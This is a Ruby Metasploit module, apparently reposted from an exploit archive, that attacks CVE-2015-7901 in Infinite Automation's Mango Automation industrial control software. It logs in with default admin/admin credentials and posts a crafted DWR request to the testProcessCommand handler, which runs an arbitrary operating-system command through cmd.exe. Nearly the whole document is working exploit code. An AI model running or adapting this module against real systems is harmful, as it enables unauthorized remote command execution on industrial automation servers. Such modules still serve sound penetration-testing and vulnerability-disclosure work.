Infinite Automation / Mango Automation - Command Injection Exploit

require 'msf/core'
 
class MetasploitModule < Msf::Auxiliary
    Rank = GreatRanking
 
    include Msf::Exploit::Remote::HttpClient
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Infinite Automation Mango Automation Command Injection',
            'Description'    => %q{
                This module exploits a command injection vulnerability found in Infinite
                Automation Systems Mango Automation v2.5.0 - 2.6.0 beta (builds prior to
                430).
            },
            'Author'         => [ 'james fitts' ],
            'License'        => MSF_LICENSE,
            'References'     =>
                [
                    [ 'CVE', '2015-7901' ],
                    [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-15-300-02' ]
                ],
            'DisclosureDate' => 'Oct 28 2015'))
 
        register_options(
            [
                Opt::RPORT(8080),
                OptString.new('TARGETURI', [ false, 'Base path to Mango Automation', '/login.htm']),
                OptString.new('CMD', [ false, 'The OS command to execute', 'calc.exe']),
                OptString.new('USER', [true, 'The username to login with', 'admin']),
                OptString.new('PASS', [true, 'The password to login with', 'admin']),
            ], self.class )
    end
 
    def do_login(user, pass)
        uri =  normalize_uri(target_uri.path)
         
        res = send_request_cgi({
            'method'    =>   'GET',
            'uri'           =>   uri
        })
 
        if res.nil?
            vprint_error("#{peer} - Connection timed out")
            return :abort
        end
 
        cookie = res.headers['Set-Cookie']
 
        print_status("Attempting to login with credentials '#{user}:#{pass}'")
 
        res = send_request_cgi({
            'method'    =>   'POST',
            'uri'           =>   uri,
            'cookie'    =>   cookie,
            'vars_post'     =>   {
                'username'  =>   user,
                'password'  =>   pass,
            }
        })
 
        if res.nil?
            vprint_error("#{peer} - Connection timed out")
            return :abort
        end
 
        location = res.headers['Location']
        if res and res.headers and (location = res.headers['Location']) and location =~ /data_point_details.shtm/
            print_good("#{peer} - Successful login: '#{user}:#{pass}'")
        else
            vprint_error("#{peer} - Bad login: '#{user}:#{pass}'")
            return
        end
 
        return cookie
         
    end
 
    def run
        cookie = do_login(datastore['USER'], datastore['PASS'])
 
        data =  "callCount=1&"
        data << "page=%2Fevent_handlers.shtm&"
        data << "httpSessionId=%0D%0A&"
        data << "scriptSessionId=26D579040C1C11D2E21D1E5F321094E5866&"
        data << "c0-scriptName=EventHandlersDwr&"
        data << "c0-methodName=testProcessCommand&"
        data << "c0-id=0&"
        data << "c0-param0=string:c:\\windows\\system32\\cmd.exe /c #{datastore['CMD']}&"
        data << "c0-param1=string:15&"
        data << "batchId=24"
 
        res = send_request_raw({
            'method'    =>   'POST',
            'uri'           =>   normalize_uri("dwr", "call", "plaincall", "EventHandlersDwr.testProcessCommand.dwr"),
            'cookie'    =>   cookie.split(";")[0],
            'ctype'     =>   "application/x-www-form-urlencoded",
            'headers'   =>   {
                'Origin'    =>   'null',
                'Upgrade-Insecure-Requests' =>   1,
                'Connection'    => "keep-alive"
            },
            'data'  =>   data,
        }, 5)
 
        if res.body =~ /org.directwebremoting.extend.MarshallException/
            print_error("Something went wrong...")
            puts res.body
        elsif res.body =~ /Check your Tomcat console for process output/
            print_good("Command executed successfully")
        end
 
    end
end

#  0day.today [2018-04-11]  #